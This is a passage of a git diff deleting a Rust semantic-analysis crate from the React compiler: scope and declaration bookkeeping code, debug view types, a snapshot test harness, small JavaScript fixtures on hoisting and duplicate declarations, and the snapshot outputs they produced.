-        // Always create a new declaration and id...
-        let id = DeclarationId(self.declarations.len());
-        self.declarations.push(Declaration {
-            id,
-            kind,
-            name: name.clone(),
-            scope: hoisted_scope_id,
-        });
-        // ...but only save the first declaration for a given name in each scope
-        self.scopes[hoisted_scope_id.0]
-            .declarations
-            .entry(name)
-            .or_insert(id);
-        id
-    }
-
-    fn get_scope_for_declaration(&self, scope: ScopeId, kind: DeclarationKind) -> ScopeId {
-        match kind {
-            DeclarationKind::Let
-            | DeclarationKind::Import
-            | DeclarationKind::Const
-            | DeclarationKind::CatchClause
-            | DeclarationKind::Class => scope,
-            DeclarationKind::Var | DeclarationKind::Function => {
-                let mut current = scope;
-                loop {
-                    let scope = self.scope(current);
-                    match scope.kind {
-                        ScopeKind::Function
-                        | ScopeKind::Global
-                        | ScopeKind::Module
-                        | ScopeKind::StaticBlock => {
-                            return current;
-                        }
-                        _ => { /* no-op */ }
-                    }
-                    if let Some(parent) = &scope.parent {
-                        current = *parent
-                    } else {
-                        unreachable!(
-                            "Expected scope without a parent to be a Global or Module scope"
-                        );
-                    }
-                }
-            }
-            DeclarationKind::Global => {
-                unreachable!("Unexpected explicit declaration of global")
-            }
-        }
-    }
-
-    pub(crate) fn add_reference(
-        &mut self,
-        scope: ScopeId,
-        kind: ReferenceKind,
-        declaration: DeclarationId,
-    ) -> ReferenceId {
-        let id = ReferenceId(self.references.len());
-        self.references.push(Reference {
-            id,
-            kind,
-            declaration,
-            scope,
-        });
-        self.scopes[scope.0].references.push(id);
-        id
-    }
-
-    pub(crate) fn next_declaration_id(&self) -> DeclarationId {
-        DeclarationId(self.declarations.len())
-    }
-}
-
-fn is_block_scoped_declaration(kind: DeclarationKind) -> bool {
-    match kind {
-        DeclarationKind::Let
-        | DeclarationKind::Const
-        | DeclarationKind::Import
-        | DeclarationKind::Class
-        | DeclarationKind::Function
-        | DeclarationKind::CatchClause => true,
-        DeclarationKind::Var | DeclarationKind::Global => false,
-    }
-}
-
-#[derive(Debug, PartialEq, Eq, PartialOrd, Ord, Hash, Copy, Clone)]
-pub struct ScopeId(usize);
-
-#[derive(Debug, PartialEq, Eq, PartialOrd, Ord, Hash, Copy, Clone)]
-pub struct DeclarationId(usize);
-
-#[derive(Debug, PartialEq, Eq, PartialOrd, Ord, Hash, Copy, Clone)]
-pub struct ReferenceId(usize);
-
-#[derive(Debug, PartialEq, Eq, PartialOrd, Ord, Hash, Copy, Clone)]
-pub struct LabelId(usize);
-
-#[derive(Debug, PartialEq, Eq, PartialOrd, Ord, Hash, Copy, Clone)]
-pub enum ScopeKind {
-    Block,
-    CatchClause,
-    Class,
-    For,
-    Function,
-    Global,
-    Module,
-    StaticBlock,
-    Switch,
-}
-
-#[derive(Debug, Clone)]
-pub struct Scope {
-    pub id: ScopeId,
-    pub kind: ScopeKind,
-    pub parent: Option<ScopeId>,
-    pub declarations: IndexMap<String, DeclarationId>,
-    pub references: Vec<ReferenceId>,
-    pub children: Vec<ScopeId>,
-}
-
-#[derive(Debug, PartialEq, Eq, PartialOrd, Ord, Hash, Copy, Clone)]
-pub enum LabelKind {
-    Loop,
-    Other,
-}
-
-#[derive(Debug, Clone)]
-pub struct Label {
-    pub id: LabelId,
-    pub kind: LabelKind,
-    pub scope: ScopeId,
-    pub name: Option<String>,
-}
-
-#[derive(Debug, PartialEq, Eq, PartialOrd, Ord, Hash, Copy, Clone)]
-pub enum DeclarationKind {
-    Global,
-    Class,
-    Const,
-    Var,
-    Let,
-    Function,
-    CatchClause,
-    Import,
-}
-
-impl From<VariableDeclarationKind> for DeclarationKind {
-    fn from(value: VariableDeclarationKind) -> Self {
-        match value {
-            VariableDeclarationKind::Const => Self::Const,
-            VariableDeclarationKind::Let => Self::Let,
-            VariableDeclarationKind::Var => Self::Var,
-        }
-    }
-}
-
-#[derive(Debug, Clone)]
-pub struct Declaration {
-    pub id: DeclarationId,
-    pub kind: DeclarationKind,
-    pub name: String,
-    pub scope: ScopeId,
-}
-
-#[derive(Debug, PartialEq, Eq, PartialOrd, Ord, Hash, Copy, Clone)]
-pub enum ReferenceKind {
-    Read,
-    Write,
-    ReadWrite,
-}
-
-#[derive(Debug, Clone)]
-pub struct Reference {
-    pub id: ReferenceId,
-    pub kind: ReferenceKind,
-    pub declaration: DeclarationId,
-    pub scope: ScopeId,
-}
-
-#[derive(Debug, Hash, PartialEq, Eq, Clone, Copy)]
-pub struct AstNode(PointerAddress);
-
-impl AstNode {
-    pub fn new<T: ESTreeNode>(node: &T) -> Self {
-        Self(PointerAddress::new(node))
-    }
-}
-
-impl<T> From<&T> for AstNode
-where
-    T: ESTreeNode,
-{
-    fn from(value: &T) -> Self {
-        Self::new(value)
-    }
-}
-
-impl<T> From<&mut T> for AstNode
-where
-    T: ESTreeNode,
-{
-    fn from(value: &mut T) -> Self {
-        Self::new(value)
-    }
-}
diff --git a/compiler/crates/react_semantic_analysis/src/scope_view.rs b/compiler/crates/react_semantic_analysis/src/scope_view.rs
deleted file mode 100644
index 1a9c9a7b5e3b..000000000000
--- a/compiler/crates/react_semantic_analysis/src/scope_view.rs
+++ /dev/null
@@ -1,259 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use indexmap::IndexMap;
-
-use crate::{
-    Declaration, DeclarationId, DeclarationKind, Label, Reference, ReferenceId, ReferenceKind,
-    Scope, ScopeId, ScopeKind, ScopeManager,
-};
-
-#[derive(Clone, Copy)]
-pub struct ScopeManagerView<'m> {
-    pub(crate) manager: &'m ScopeManager,
-}
-
-impl<'m> ScopeManagerView<'m> {
-    pub fn root(&self) -> ScopeView<'m> {
-        ScopeView {
-            manager: self.manager,
-            scope: self.manager.scope(self.manager.root_id()),
-        }
-    }
-
-    pub fn globals(&self) -> impl Iterator<Item = (&String, &DeclarationId)> {
-        self.manager.globals()
-    }
-}
-
-impl<'m> std::fmt::Debug for ScopeManagerView<'m> {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        f.debug_struct("ScopeManager")
-            .field("globals", &self.globals().collect::<Vec<_>>())
-            .field("root", &self.root())
-            .finish()
-    }
-}
-#[derive(Clone, Copy)]
-pub struct ScopeView<'m> {
-    pub(crate) manager: &'m ScopeManager,
-    pub(crate) scope: &'m Scope,
-}
-
-impl<'m> ScopeView<'m> {
-    pub fn id(&self) -> ScopeId {
-        self.scope.id
-    }
-
-    pub fn kind(&self) -> ScopeKind {
-        self.scope.kind
-    }
-
-    pub fn parent(&self) -> Option<ScopeView<'m>> {
-        self.scope.parent.map(|id| {
-            let scope = self.manager.scope(id);
-            ScopeView {
-                manager: self.manager,
-                scope,
-            }
-        })
-    }
-
-    pub fn declarations(&self) -> Vec<DeclarationView<'m>> {
-        self.scope
-            .declarations
-            .values()
-            .cloned()
-            .map(|id| {
-                let declaration = self.manager.declaration(id);
-                DeclarationView {
-                    manager: self.manager,
-                    declaration,
-                }
-            })
-            .collect()
-    }
-
-    pub fn references(&self) -> Vec<ReferenceView<'m>> {
-        self.scope
-            .references
-            .iter()
-            .cloned()
-            .map(|id| {
-                let reference = self.manager.reference(id);
-                ReferenceView {
-                    manager: self.manager,
-                    reference,
-                }
-            })
-            .collect()
-    }
-
-    pub fn children(&self) -> Vec<ScopeView<'m>> {
-        self.scope
-            .children
-            .iter()
-            .cloned()
-            .map(|id| {
-                let scope = self.manager.scope(id);
-                ScopeView {
-                    manager: self.manager,
-                    scope,
-                }
-            })
-            .collect()
-    }
-
-    pub fn is_descendant_of(&self, maybe_ancestor: Self) -> bool {
-        self.manager
-            .is_descendant_of(self.scope.id, maybe_ancestor.scope.id)
-    }
-}
-
-impl<'m> std::fmt::Debug for ScopeView<'m> {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        let declarations: IndexMap<_, _> = self
-            .scope
-            .declarations
-            .iter()
-            .map(|(name, declaration)| {
-                (
-                    name.clone(),
-                    DeclarationView {
-                        manager: self.manager,
-                        declaration: self.manager.declaration(*declaration),
-                    },
-                )
-            })
-            .collect();
-        let references: Vec<_> = self
-            .scope
-            .references
-            .iter()
-            .map(|reference| ReferenceView {
-                manager: self.manager,
-                reference: self.manager.reference(*reference),
-            })
-            .collect();
-        let children: Vec<_> = self
-            .scope
-            .children
-            .iter()
-            .map(|child| ScopeView {
-                manager: self.manager,
-                scope: self.manager.scope(*child),
-            })
-            .collect();
-        f.debug_struct("Scope")
-            .field("id", &self.scope.id)
-            .field("kind", &self.scope.kind)
-            .field("declarations", &declarations)
-            .field("references", &references)
-            .field("children", &children)
-            .finish()
-    }
-}
-
-#[derive(Clone, Copy)]
-pub struct LabelView<'m> {
-    #[allow(dead_code)]
-    pub(crate) manager: &'m ScopeManager,
-    pub(crate) label: &'m Label,
-}
-
-impl<'m> std::fmt::Debug for LabelView<'m> {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        f.debug_struct("Label")
-            .field("id", &self.label.id)
-            .field("kind", &self.label.kind)
-            .field("scope", &self.label.scope)
-            .finish()
-    }
-}
-
-#[derive(Clone, Copy)]
-pub struct DeclarationView<'m> {
-    pub(crate) manager: &'m ScopeManager,
-    pub(crate) declaration: &'m Declaration,
-}
-
-impl<'m> DeclarationView<'m> {
-    pub fn id(&self) -> DeclarationId {
-        self.declaration.id
-    }
-
-    pub fn name(&self) -> &str {
-        &self.declaration.name
-    }
-
-    pub fn kind(&self) -> DeclarationKind {
-        self.declaration.kind
-    }
-
-    pub fn scope(&self) -> ScopeView<'m> {
-        let scope = self.manager.scope(self.declaration.scope);
-        ScopeView {
-            manager: self.manager,
-            scope,
-        }
-    }
-}
-
-impl<'m> std::fmt::Debug for DeclarationView<'m> {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        f.debug_struct("Declaration")
-            .field("id", &self.declaration.id)
-            .field("kind", &self.declaration.kind)
-            .field("scope", &self.declaration.scope)
-            .finish()
-    }
-}
-
-#[derive(Clone, Copy)]
-pub struct ReferenceView<'m> {
-    pub(crate) manager: &'m ScopeManager,
-    pub(crate) reference: &'m Reference,
-}
-
-impl<'m> ReferenceView<'m> {
-    pub fn id(&self) -> ReferenceId {
-        self.reference.id
-    }
-
-    pub fn kind(&self) -> ReferenceKind {
-        self.reference.kind
-    }
-
-    pub fn scope(&self) -> ScopeView<'m> {
-        let scope = self.manager.scope(self.reference.scope);
-        ScopeView {
-            manager: self.manager,
-            scope,
-        }
-    }
-
-    pub fn declaration(&self) -> DeclarationView<'m> {
-        let declaration = self.manager.declaration(self.reference.declaration);
-        DeclarationView {
-            manager: self.manager,
-            declaration,
-        }
-    }
-}
-
-impl<'m> std::fmt::Debug for ReferenceView<'m> {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        let declaration = self.manager.declaration(self.reference.declaration);
-        f.debug_struct("Reference")
-            .field("id", &self.reference.id)
-            .field("kind", &self.reference.kind)
-            .field("declaration", &self.reference.declaration)
-            .field("declaration (name)", &declaration.name)
-            .field("scope", &self.reference.scope)
-            .finish()
-    }
-}
diff --git a/compiler/crates/react_semantic_analysis/tests/analysis_test.rs b/compiler/crates/react_semantic_analysis/tests/analysis_test.rs
deleted file mode 100644
index 5bbf45bb6ec4..000000000000
--- a/compiler/crates/react_semantic_analysis/tests/analysis_test.rs
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::fmt::Write;
-
-use insta::{assert_snapshot, glob};
-use miette::{NamedSource, Report};
-use react_hermes_parser::parse;
-use react_semantic_analysis::{analyze, AnalyzeOptions};
-
-#[test]
-fn fixtures() {
-    glob!("fixtures/**.js", |path| {
-        println!("fixture {}", path.to_str().unwrap());
-        let input = std::fs::read_to_string(path).unwrap();
-        let ast = parse(&input, path.to_str().unwrap()).unwrap();
-        let mut analysis = analyze(
-            &ast,
-            AnalyzeOptions {
-                globals: vec![
-                    "Array".to_string(),
-                    "Boolean".to_string(),
-                    "console".to_string(),
-                    "global".to_string(),
-                    "Math".to_string(),
-                    "Number".to_string(),
-                    "setInterval".to_string(),
-                    "setTimeout".to_string(),
-                    "String".to_string(),
-                ],
-            },
-        );
-
-        let mut output = String::new();
-        writeln!(&mut output, "{:#?}", analysis.debug()).unwrap();
-        let diagnostics = analysis.diagnostics();
-        for diagnostic in diagnostics {
-            writeln!(&mut output, "{:#?}", diagnostic).unwrap();
-            println!(
-                "{:?}",
-                Report::new(diagnostic)
-                    .with_source_code(NamedSource::new(path.to_string_lossy(), input.clone()))
-            );
-        }
-        assert_snapshot!(format!("Input:\n{input}\n\nAnalysis:\n{output}"));
-    });
-}
diff --git a/compiler/crates/react_semantic_analysis/tests/fixtures/block-item-duplication.js b/compiler/crates/react_semantic_analysis/tests/fixtures/block-item-duplication.js
deleted file mode 100644
index 146961c4b9a9..000000000000
--- a/compiler/crates/react_semantic_analysis/tests/fixtures/block-item-duplication.js
+++ /dev/null
@@ -1,25 +0,0 @@
-function Component() {
-  let a = 1;
-  let a = 2; // error
-
-  const b = 3;
-  const b = 4; // error
-
-  function foo() {}
-  function foo() {} // error
-
-  try {
-  } catch (c) {
-    let c = true; // error
-    const c = true; // error
-    function c() {} // error
-    // class c {} // error
-  }
-}
-
-function Component() {
-  // error
-}
-
-const x = true;
-const x = false; // error
diff --git a/compiler/crates/react_semantic_analysis/tests/fixtures/function-hoisting.js b/compiler/crates/react_semantic_analysis/tests/fixtures/function-hoisting.js
deleted file mode 100644
index d081238b50c5..000000000000
--- a/compiler/crates/react_semantic_analysis/tests/fixtures/function-hoisting.js
+++ /dev/null
@@ -1,22 +0,0 @@
-function Component(props) {
-  foo();
-  if (props) {
-    {
-      for (;;) {
-        while (true) {
-          do {
-            function foo() {
-              bar();
-              if (props) {
-                const _ = function bar() {};
-              }
-            }
-            break;
-          } while (true);
-          break;
-        }
-        break;
-      }
-    }
-  }
-}
diff --git a/compiler/crates/react_semantic_analysis/tests/fixtures/globals-and-imports.js b/compiler/crates/react_semantic_analysis/tests/fixtures/globals-and-imports.js
deleted file mode 100644
index 58300c76d3bb..000000000000
--- a/compiler/crates/react_semantic_analysis/tests/fixtures/globals-and-imports.js
+++ /dev/null
@@ -1,17 +0,0 @@
-import Foo from "foo";
-import * as Bar from "bar";
-import { Baz } from "baz";
-
-function Component(props) {
-  let g = global;
-  let y = new Array(props.count);
-  let s = String("hello");
-  let b = Boolean(true);
-  let n = Number(0);
-  let x = Math.min(props.x, props.y);
-  setTimeout(() => {}, 0);
-  setInterval(() => {}, 0);
-  Foo;
-  Bar;
-  Baz;
-}
diff --git a/compiler/crates/react_semantic_analysis/tests/fixtures/labels.js b/compiler/crates/react_semantic_analysis/tests/fixtures/labels.js
deleted file mode 100644
index 1474fe537d92..000000000000
--- a/compiler/crates/react_semantic_analysis/tests/fixtures/labels.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function Component(props) {
-  let y = 0;
-  foo: for (let x = 0; x < 10; x++) {
-    if (x == 7) {
-      break foo;
-    }
-    y = x + y;
-    continue foo;
-  }
-  bar: if (props) {
-    break bar;
-  }
-}
diff --git a/compiler/crates/react_semantic_analysis/tests/fixtures/let-const-hoisting.js b/compiler/crates/react_semantic_analysis/tests/fixtures/let-const-hoisting.js
deleted file mode 100644
index 8f9c7e6b4037..000000000000
--- a/compiler/crates/react_semantic_analysis/tests/fixtures/let-const-hoisting.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function Component() {
-  function foo() {
-    a;
-    b;
-  }
-  let a;
-  const b = true;
-}
diff --git a/compiler/crates/react_semantic_analysis/tests/fixtures/simple-function.js b/compiler/crates/react_semantic_analysis/tests/fixtures/simple-function.js
deleted file mode 100644
index ef9d16bb14f6..000000000000
--- a/compiler/crates/react_semantic_analysis/tests/fixtures/simple-function.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component(a) {
-  Math;
-  let b = 0;
-  const foo = function foo_(c) {
-    let d = 1;
-    return a + b + c + d;
-  };
-  return foo();
-}
diff --git a/compiler/crates/react_semantic_analysis/tests/fixtures/tdz.js b/compiler/crates/react_semantic_analysis/tests/fixtures/tdz.js
deleted file mode 100644
index 71e8e8ba33ec..000000000000
--- a/compiler/crates/react_semantic_analysis/tests/fixtures/tdz.js
+++ /dev/null
@@ -1,14 +0,0 @@
-function Component() {
-  a; // invalid
-  if (true) {
-    a; // invalid
-  }
-  for (;;) {
-    a; // invalid
-  }
-  function foo() {
-    a; // will be a runtime tdz error but we don't detect that statically
-  }
-  foo(); // above is a runtime tdz error bc of this call
-  let a;
-}
diff --git a/compiler/crates/react_semantic_analysis/tests/fixtures/var-duplication.js b/compiler/crates/react_semantic_analysis/tests/fixtures/var-duplication.js
deleted file mode 100644
index 45eb8158146a..000000000000
--- a/compiler/crates/react_semantic_analysis/tests/fixtures/var-duplication.js
+++ /dev/null
@@ -1,29 +0,0 @@
-function Component() {
-  let a;
-  {
-    var a; // error, conflicts when hoisted
-  }
-
-  const b = 1;
-  {
-    var b; // error, conflicts
-  }
-
-  {
-    let c;
-    var c; // error, conflicts
-  }
-
-  {
-    const d = 2;
-    var d; // error, conflicts
-  }
-
-  // there should be one instance of `e`:
-  var e = 3;
-  console.log(e); // 3
-  var e = 4;
-  console.log(e); // 4
-  var e;
-  console.log(e); // 4
-}
diff --git a/compiler/crates/react_semantic_analysis/tests/fixtures/var-hoisting.js b/compiler/crates/react_semantic_analysis/tests/fixtures/var-hoisting.js
deleted file mode 100644
index 9dac162f7823..000000000000
--- a/compiler/crates/react_semantic_analysis/tests/fixtures/var-hoisting.js
+++ /dev/null
@@ -1,19 +0,0 @@
-function Component(props) {
-  bar;
-  bar = true;
-  baz;
-  baz = false;
-  function foo() {
-    bar;
-    bar = true;
-    if (props) {
-      var bar;
-    }
-  }
-  if (props) {
-    // nest inside a block statement to test that the declaration hoists
-    var bar;
-  }
-}
-
-var baz;
diff --git a/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@block-item-duplication.js.snap b/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@block-item-duplication.js.snap
deleted file mode 100644
index 375605730c49..000000000000
--- a/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@block-item-duplication.js.snap
+++ /dev/null
@@ -1,366 +0,0 @@
----
-source: crates/react_semantic_analysis/tests/analysis_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nAnalysis:\\n{output}\")"
-input_file: crates/react_semantic_analysis/tests/fixtures/block-item-duplication.js
----
-Input:
-function Component() {
-  let a = 1;
-  let a = 2; // error
-
-  const b = 3;
-  const b = 4; // error
-
-  function foo() {}
-  function foo() {} // error
-
-  try {
-  } catch (c) {
-    let c = true; // error
-    const c = true; // error
-    function c() {} // error
-    // class c {} // error
-  }
-}
-
-function Component() {
-  // error
-}
-
-const x = true;
-const x = false; // error
-
-
-Analysis:
-ScopeManager {
-    globals: [
-        (
-            "Array",
-            DeclarationId(
-                0,
-            ),
-        ),
-        (
-            "Boolean",
-            DeclarationId(
-                1,
-            ),
-        ),
-        (
-            "console",
-            DeclarationId(
-                2,
-            ),
-        ),
-        (
-            "global",
-            DeclarationId(
-                3,
-            ),
-        ),
-        (
-            "Math",
-            DeclarationId(
-                4,
-            ),
-        ),
-        (
-            "Number",
-            DeclarationId(
-                5,
-            ),
-        ),
-        (
-            "setInterval",
-            DeclarationId(
-                6,
-            ),
-        ),
-        (
-            "setTimeout",
-            DeclarationId(
-                7,
-            ),
-        ),
-        (
-            "String",
-            DeclarationId(
-                8,
-            ),
-        ),
-    ],
-    root: Scope {
-        id: ScopeId(
-            0,
-        ),
-        kind: Module,
-        declarations: {
-            "Component": Declaration {
-                id: DeclarationId(
-                    9,
-                ),
-                kind: Function,
-                scope: ScopeId(
-                    0,
-                ),
-            },
-            "x": Declaration {
-                id: DeclarationId(
-                    21,
-                ),
-                kind: Const,
-                scope: ScopeId(
-                    0,
-                ),
-            },
-        },
-        references: [],
-        children: [
-            Scope {
-                id: ScopeId(
-                    1,
-                ),
-                kind: Function,
-                declarations: {
-                    "a": Declaration {
-                        id: DeclarationId(
-                            10,
-                        ),
-                        kind: Let,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "b": Declaration {
-                        id: DeclarationId(
-                            12,
-                        ),
-                        kind: Const,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "foo": Declaration {
-                        id: DeclarationId(
-                            14,
-                        ),
-                        kind: Function,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "c": Declaration {
-                        id: DeclarationId(
-                            19,
-                        ),
-                        kind: Function,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                },
-                references: [],
-                children: [
-                    Scope {
-                        id: ScopeId(
-                            2,
-                        ),
-                        kind: Function,
-                        declarations: {},
-                        references: [],
-                        children: [],
-                    },
-                    Scope {
-                        id: ScopeId(
-                            3,
-                        ),
-                        kind: Function,
-                        declarations: {},
-                        references: [],
-                        children: [],
-                    },
-                    Scope {
-                        id: ScopeId(
-                            4,
-                        ),
-                        kind: Block,
-                        declarations: {},
-                        references: [],
-                        children: [],
-                    },
-                    Scope {
-                        id: ScopeId(
-                            5,
-                        ),
-                        kind: CatchClause,
-                        declarations: {
-                            "c": Declaration {
-                                id: DeclarationId(
-                                    16,
-                                ),
-                                kind: CatchClause,
-                                scope: ScopeId(
-                                    5,
-                                ),
-                            },
-                        },
-                        references: [],
-                        children: [
-                            Scope {
-                                id: ScopeId(
-                                    6,
-                                ),
-                                kind: Block,
-                                declarations: {
-                                    "c": Declaration {
-                                        id: DeclarationId(
-                                            17,
-                                        ),
-                                        kind: Let,
-                                        scope: ScopeId(
-                                            6,
-                                        ),
-                                    },
-                                },
-                                references: [],
-                                children: [
-                                    Scope {
-                                        id: ScopeId(
-                                            7,
-                                        ),
-                                        kind: Function,
-                                        declarations: {},
-                                        references: [],
-                                        children: [],
-                                    },
-                                ],
-                            },
-                        ],
-                    },
-                ],
-            },
-            Scope {
-                id: ScopeId(
-                    8,
-                ),
-                kind: Function,
-                declarations: {},
-                references: [],
-                children: [],
-            },
-        ],
-    },
-}
-Diagnostic(
-    DiagnosticData {
-        message: "Duplicate declaration",
-        span: Some(
-            SourceSpan {
-                offset: SourceOffset(
-                    42,
-                ),
-                length: 1,
-            },
-        ),
-        related_information: [],
-        severity: InvalidSyntax,
-        data: [],
-    },
-)
-Diagnostic(
-    DiagnosticData {
-        message: "Duplicate declaration",
-        span: Some(
-            SourceSpan {
-                offset: SourceOffset(
-                    82,
-                ),
-                length: 1,
-            },
-        ),
-        related_information: [],
-        severity: InvalidSyntax,
-        data: [],
-    },
-)
-Diagnostic(
-    DiagnosticData {
-        message: "Duplicate declaration",
-        span: Some(
-            SourceSpan {
-                offset: SourceOffset(
-                    130,
-                ),
-                length: 3,
-            },
-        ),
-        related_information: [],
-        severity: InvalidSyntax,
-        data: [],
-    },
-)
-Diagnostic(
-    DiagnosticData {
-        message: "Duplicate declaration",
-        span: Some(
-            SourceSpan {
-                offset: SourceOffset(
-                    210,
-                ),
-                length: 1,
-            },
-        ),
-        related_information: [],
-        severity: InvalidSyntax,
-        data: [],
-    },
-)
-Diagnostic(
-    DiagnosticData {
-        message: "Duplicate declaration",
-        span: Some(
-            SourceSpan {
-                offset: SourceOffset(
-                    242,
-                ),
-                length: 1,
-            },
-        ),
-        related_information: [],
-        severity: InvalidSyntax,
-        data: [],
-    },
-)
-Diagnostic(
-    DiagnosticData {
-        message: "Duplicate declaration",
-        span: Some(
-            SourceSpan {
-                offset: SourceOffset(
-                    301,
-                ),
-                length: 9,
-            },
-        ),
-        related_information: [],
-        severity: InvalidSyntax,
-        data: [],
-    },
-)
-Diagnostic(
-    DiagnosticData {
-        message: "Duplicate declaration",
-        span: Some(
-            SourceSpan {
-                offset: SourceOffset(
-                    351,
-                ),
-                length: 1,
-            },
-        ),
-        related_information: [],
-        severity: InvalidSyntax,
-        data: [],
-    },
-)
-
diff --git a/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@function-hoisting.js.snap b/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@function-hoisting.js.snap
deleted file mode 100644
index 9af054ef007f..000000000000
--- a/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@function-hoisting.js.snap
+++ /dev/null
@@ -1,295 +0,0 @@
----
-source: crates/react_semantic_analysis/tests/analysis_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nAnalysis:\\n{output}\")"
-input_file: crates/react_semantic_analysis/tests/fixtures/function-hoisting.js
----
-Input:
-function Component(props) {
-  foo();
-  if (props) {
-    {
-      for (;;) {
-        while (true) {
-          do {
-            function foo() {
-              bar();
-              if (props) {
-                const _ = function bar() {};
-              }
-            }
-            break;
-          } while (true);
-          break;
-        }
-        break;
-      }
-    }
-  }
-}
-
-
-Analysis:
-ScopeManager {
-    globals: [
-        (
-            "Array",
-            DeclarationId(
-                0,
-            ),
-        ),
-        (
-            "Boolean",
-            DeclarationId(
-                1,
-            ),
-        ),
-        (
-            "console",
-            DeclarationId(
-                2,
-            ),
-        ),
-        (
-            "global",
-            DeclarationId(
-                3,
-            ),
-        ),
-        (
-            "Math",
-            DeclarationId(
-                4,
-            ),
-        ),
-        (
-            "Number",
-            DeclarationId(
-                5,
-            ),
-        ),
-        (
-            "setInterval",
-            DeclarationId(
-                6,
-            ),
-        ),
-        (
-            "setTimeout",
-            DeclarationId(
-                7,
-            ),
-        ),
-        (
-            "String",
-            DeclarationId(
-                8,
-            ),
-        ),
-    ],
-    root: Scope {
-        id: ScopeId(
-            0,
-        ),
-        kind: Module,
-        declarations: {
-            "Component": Declaration {
-                id: DeclarationId(
-                    9,
-                ),
-                kind: Function,
-                scope: ScopeId(
-                    0,
-                ),
-            },
-        },
-        references: [],
-        children: [
-            Scope {
-                id: ScopeId(
-                    1,
-                ),
-                kind: Function,
-                declarations: {
-                    "props": Declaration {
-                        id: DeclarationId(
-                            10,
-                        ),
-                        kind: Function,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "foo": Declaration {
-                        id: DeclarationId(
-                            11,
-                        ),
-                        kind: Function,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                },
-                references: [
-                    Reference {
-                        id: ReferenceId(
-                            0,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            11,
-                        ),
-                        declaration (name): "foo",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            1,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            10,
-                        ),
-                        declaration (name): "props",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                ],
-                children: [
-                    Scope {
-                        id: ScopeId(
-                            2,
-                        ),
-                        kind: Block,
-                        declarations: {},
-                        references: [],
-                        children: [
-                            Scope {
-                                id: ScopeId(
-                                    3,
-                                ),
-                                kind: Block,
-                                declarations: {},
-                                references: [],
-                                children: [
-                                    Scope {
-                                        id: ScopeId(
-                                            4,
-                                        ),
-                                        kind: Block,
-                                        declarations: {},
-                                        references: [],
-                                        children: [
-                                            Scope {
-                                                id: ScopeId(
-                                                    5,
-                                                ),
-                                                kind: Block,
-                                                declarations: {},
-                                                references: [],
-                                                children: [
-                                                    Scope {
-                                                        id: ScopeId(
-                                                            6,
-                                                        ),
-                                                        kind: Block,
-                                                        declarations: {},
-                                                        references: [],
-                                                        children: [
-                                                            Scope {
-                                                                id: ScopeId(
-                                                                    7,
-                                                                ),
-                                                                kind: Function,
-                                                                declarations: {},
-                                                                references: [
-                                                                    Reference {
-                                                                        id: ReferenceId(
-                                                                            2,
-                                                                        ),
-                                                                        kind: Read,
-                                                                        declaration: DeclarationId(
-                                                                            10,
-                                                                        ),
-                                                                        declaration (name): "props",
-                                                                        scope: ScopeId(
-                                                                            7,
-                                                                        ),
-                                                                    },
-                                                                ],
-                                                                children: [
-                                                                    Scope {
-                                                                        id: ScopeId(
-                                                                            8,
-                                                                        ),
-                                                                        kind: Block,
-                                                                        declarations: {
-                                                                            "_": Declaration {
-                                                                                id: DeclarationId(
-                                                                                    12,
-                                                                                ),
-                                                                                kind: Const,
-                                                                                scope: ScopeId(
-                                                                                    8,
-                                                                                ),
-                                                                            },
-                                                                        },
-                                                                        references: [],
-                                                                        children: [
-                                                                            Scope {
-                                                                                id: ScopeId(
-                                                                                    9,
-                                                                                ),
-                                                                                kind: Function,
-                                                                                declarations: {
-                                                                                    "bar": Declaration {
-                                                                                        id: DeclarationId(
-                                                                                            13,
-                                                                                        ),
-                                                                                        kind: Function,
-                                                                                        scope: ScopeId(
-                                                                                            9,
-                                                                                        ),
-                                                                                    },
-                                                                                },
-                                                                                references: [],
-                                                                                children: [],
-                                                                            },
-                                                                        ],
-                                                                    },
-                                                                ],
-                                                            },
-                                                        ],
-                                                    },
-                                                ],
-                                            },
-                                        ],
-                                    },
-                                ],
-                            },
-                        ],
-                    },
-                ],
-            },
-        ],
-    },
-}
-Diagnostic(
-    DiagnosticData {
-        message: "Undefined variable",
-        span: Some(
-            SourceSpan {
-                offset: SourceOffset(
-                    156,
-                ),
-                length: 3,
-            },
-        ),
-        related_information: [],
-        severity: InvalidSyntax,
-        data: [],
-    },
-)
-
